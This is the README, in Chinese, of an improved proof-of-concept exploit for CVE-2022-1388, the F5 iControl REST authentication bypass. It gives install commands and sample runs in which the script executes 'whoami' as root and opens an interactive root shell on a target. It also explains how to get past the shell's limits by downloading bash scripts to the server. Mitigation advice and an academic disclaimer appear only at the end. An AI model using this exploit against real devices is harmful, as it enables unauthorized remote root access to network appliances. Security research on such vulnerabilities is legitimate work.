针对影响多个 F5 产品的 CVE-2022-1388 的改进版 PoC。
这是 Horizon3 的 CVE-2022-1388 概念验证的改进版本: https://github.com/horizon3ai/CVE-2022-1388
此版本包含多项改进以及一个用于运行远程命令的交互式 shell。
Horizon3 对该漏洞的技术根源分析可在其博客中找到: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
利用该漏洞的请求所需条件:
git clone https://github.com/PsychoSec2/CVE-2022-1388-POC.git
cd ./CVE-2022-1388-POC
pip3 install -r requirements.txt
python3 ./CVE-2022-1388.py -h
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -t
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
Use -s option to run an interactive shell.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -s
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
不需要使用任何反向 TCP 连接或监听器。
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -h
Usage: CVE-2022-1388.py [options]
Options:
-h, --help Show this help message.
-u URL, --url=URL The IP address of the target.
-t, --test Test target for CVE-2022-1388.
-s, --shell Run an interactive shell.
请注意,在未修补的系统上运行交互式 shell 时,某些命令和语法可能无法正常运行或给出预期结果。这可能是由于服务器 API 请求和响应中使用了 JSON。为避免问题,请尽量不在交互式 shell 中使用 JSON 语法中常见的单个字符,例如冒号、逗号、花括号、方括号,尤其是引号。命令中的任何 JSON 语法都应按照格式构建。
在命令中使用任何非结构化 JSON 语法都可能导致向服务器发送格式错误的 API 请求,并可能导致:无命令输出、命令未执行、或完全退出 Python 脚本。这不幸地使某些命令无法使用。要解决此问题,您可以改为编写 bash 脚本,将其下载到服务器,然后使用交互式 shell 执行。此外,也无法使用 'cd' 命令切换目录。
无论如何,您应该仍然能够获得基本命令输出。如果没有命令输出,并不意味着命令未执行。但您需要自行分析才能确定。
更新到最新版本,或按照 F5 安全公告中的说明进行缓解:
本软件纯粹出于学术研究和开发有效防御技术的目的而创建,除非明确授权,否则不应用于攻击系统。项目维护者不对软件的滥用负责。请负责任地使用。